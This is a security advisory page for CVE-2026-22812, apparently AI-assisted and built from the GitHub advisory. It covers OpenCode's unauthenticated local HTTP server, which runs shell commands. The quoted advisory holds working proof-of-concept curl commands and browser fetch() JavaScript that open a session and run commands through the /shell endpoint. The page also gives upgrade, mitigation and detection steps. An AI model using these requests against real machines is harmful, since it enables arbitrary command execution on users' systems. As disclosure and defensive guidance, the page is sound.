CVE-2026-22812: OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution
OpenCode before 1.0.216 starts an HTTP server with no authentication whenever it runs, and that server runs shell commands. Any local process, and any website opened in a browser on the same machine, can execute commands as the user. Upgrade `opencode-ai` to 1.0.216.
Published Jan 13, 2026 · Analysis Nov 1, 2026
What an attacker can do
On start, OpenCode launches a server on port 4096 or the next free port, from cli/cmd/tui/worker.ts via Server.listen(). server/server.ts has no authentication middleware. POST /session/:id/shell runs shell commands, POST /pty opens terminal sessions, and GET /file/content?path= reads arbitrary files. The server uses cors() with its default Access-Control-Allow-Origin: *, so any web page can call it from the browser.
Two attack paths follow. A local process, such as a malicious npm package or script, creates a session with POST /session and posts a command to its /shell endpoint. A web page does the same with fetch() against 127.0.0.1:4096. The reporter confirmed this in Firefox. Chrome 142 and later may ask for Local Network Access permission. With the --mdns flag the server binds to 0.0.0.0 and announces itself over Bonjour, which opens it to the whole local network. The attacker gets arbitrary commands and file reads with the user's rights.
Who is affected
The npm package opencode-ai below 1.0.216. Check the version:
opencode --version
npm ls -g opencode-aiTo see whether the server is listening, run ss -ltnp and look for a process on port 4096 or higher that belongs to OpenCode. Anything started with --mdns is reachable from the local network.
opencode-ai
- Ecosystem
- npm
- Affected
- < 1.0.216
- Fixed in
- 1.0.216
- Check
npm ls opencode-ai
How to fix it
Upgrade to 1.0.216 or later:
npm install -g opencode-ai@latestThe advisory lists no workaround. Until you upgrade, avoid browsing untrusted sites while OpenCode runs, do not use --mdns on shared networks, and block the OpenCode port in a host firewall for everything except the process that needs it.
How to tell if you were hit
Check shell history, /tmp and your home directory for files you did not create. The advisory's test writes /tmp/pwned.txt. Look at OpenCode session lists for sessions you did not start, and for shell commands run through the build agent that you did not issue. Inspect the process tree under OpenCode for unexpected shells. If the machine ran with --mdns, check which hosts on the network connected to port 4096.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
*Previously reported via email to [email protected] on 2025-11-17 per the security policy in opencode-sdk-js/SECURITY.md. No response received.*
Summary
OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.
Details
When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:
POST /session/:id/shell- Execute shell commands (server.ts:1401)POST /pty- Create interactive terminal sessions (server.ts:267)GET /file/content?path=- Read arbitrary files (server.ts:1868)
The server is started automatically in cli/cmd/tui/worker.ts:36 via Server.listen().
No authentication middleware exists in server/server.ts. The server uses permissive CORS (.use(cors()) with default Access-Control-Allow-Origin: *), enabling browser-based exploitation.
PoC
Local exploitation:
API="http://127.0.0.1:4096" # update with actual port
SESSION_ID=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id')
curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" \
-d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}'
cat /tmp/pwned.txt # outputs: PWNEDBrowser-based exploitation:
A malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.
// Malicious website JavaScript
fetch('http://127.0.0.1:4096/session', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: '{}'
})
.then(r => r.json())
.then(session => {
fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'})
});
});Note: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.
Impact
Remote Code Execution via two vectors:
- Local process: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.
- Browser-based (confirmed in Firefox): Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.
With --mdns flag, the server binds to 0.0.0.0 and advertises via Bonjour, extending the attack surface to the entire local network.
*Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.*
Credited to CyberShadow.
Questions
- Can a website attack me if OpenCode only listens on localhost?
Yes. The server sets permissive CORS (
Access-Control-Allow-Origin: *), so JavaScript on any page can post to127.0.0.1:4096and run commands. Chrome 142 and later may show a Local Network Access prompt; Firefox does not.- What does --mdns change?
It binds the server to
0.0.0.0and advertises it with Bonjour, so other machines on the local network can reach the unauthenticated API.- Which version fixes it?
opencode-ai1.0.216. All earlier versions are listed as vulnerable.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
